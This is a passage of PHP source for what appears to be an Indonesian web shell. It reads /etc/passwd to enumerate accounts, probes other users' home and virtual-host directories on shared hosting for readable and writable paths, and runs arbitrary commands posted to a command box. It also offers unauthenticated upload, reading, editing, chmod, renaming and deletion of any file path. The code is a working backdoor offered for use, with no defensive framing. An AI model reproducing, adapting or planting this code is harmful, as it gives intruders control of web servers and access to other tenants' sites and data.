				$url = str_replace(array("http://","www."), "", strtolower($url));
				$etc = "/etc/passwd";
				$f = fopen($etc,"r");
				while($gets = fgets($f)) {
					$pecah = explode(":", $gets);
					$user = $pecah[0];
					$dir_user = "/hsphere/local/home/$user";
					if(is_dir($dir_user) === true) {
						$url_user = $dir_user."/".$url;
						if(is_readable($url_user)) {
							$i++;
							$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
							if(is_writable($url_user)) {
								$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
							}
							echo $jrw."<br>";
						}
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
			$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
			while($getss = fgets($fp)) {
				echo $getss;
			}
			echo  '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
		}
	} elseif(preg_match("/vhosts|vhost/", $dir)) {
		preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
		$urls = explode("\r\n", $_POST['url']);
		if(isset($_POST['jump'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace("www.", "", $url);
				$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
				if(is_dir($web_vh) === true) {
					if(is_readable($web_vh)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
						if(is_writable($web_vh)) {
							$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
						}
						echo $jrw."<br>";
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
				  bing("ip:$ip");
			echo  '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
		}
	} else {
		echo "<pre>";
		$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
		while($passwd = fgets($etc)) {
			if($passwd == '' || !$etc) {
				echo "<font color=red>Can't read /etc/passwd</font>";
			} else {
				preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
				foreach($user_jumping[1] as $user_idx_jump) {
					$user_jumping_dir = "/home/$user_idx_jump/public_html";
					if(is_readable($user_jumping_dir)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
						if(is_writable($user_jumping_dir)) {
							$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
						}
						echo $jrw;
						if(function_exists('posix_getpwuid')) {
							$domain_jump = file_get_contents("/etc/named.conf");	
							if($domain_jump == '') {
								echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
							} else {
								preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
								foreach($domains_jump[1] as $dj) {
									$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
									$user_jumping_url = $user_jumping_url['name'];
									if($user_jumping_url == $user_idx_jump) {
										echo " => ( <u>$dj</u> )<br>";
										break;
									}
								}
							}
						} else {
							echo "<br>";
						}
					}
				}
			}
		}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
	}
	echo "</div>";
}  elseif($_GET['to'] == 'cmd') {
	echo "<form method='post'>
	<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
	<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
	</form>";
	if($_POST['do_cmd']) {
		echo "<pre>".exe($_POST['cmd'])."</pre>";
	}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="Crotz" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="red">Change Permission Gagal</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
Nama Baru : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Crotz" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Berhasil Edit File</font><br/>';
}else{
echo '<font color="red">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Directory Terhapus</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">File Terhapus</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' Jamet';
}else{
$size = $size.' Jamet';
}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}

echo '<center>Jamet <font color="red">Mpshhh</font></center>
</BODY>
</HTML></table>';
echo'<br><br>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>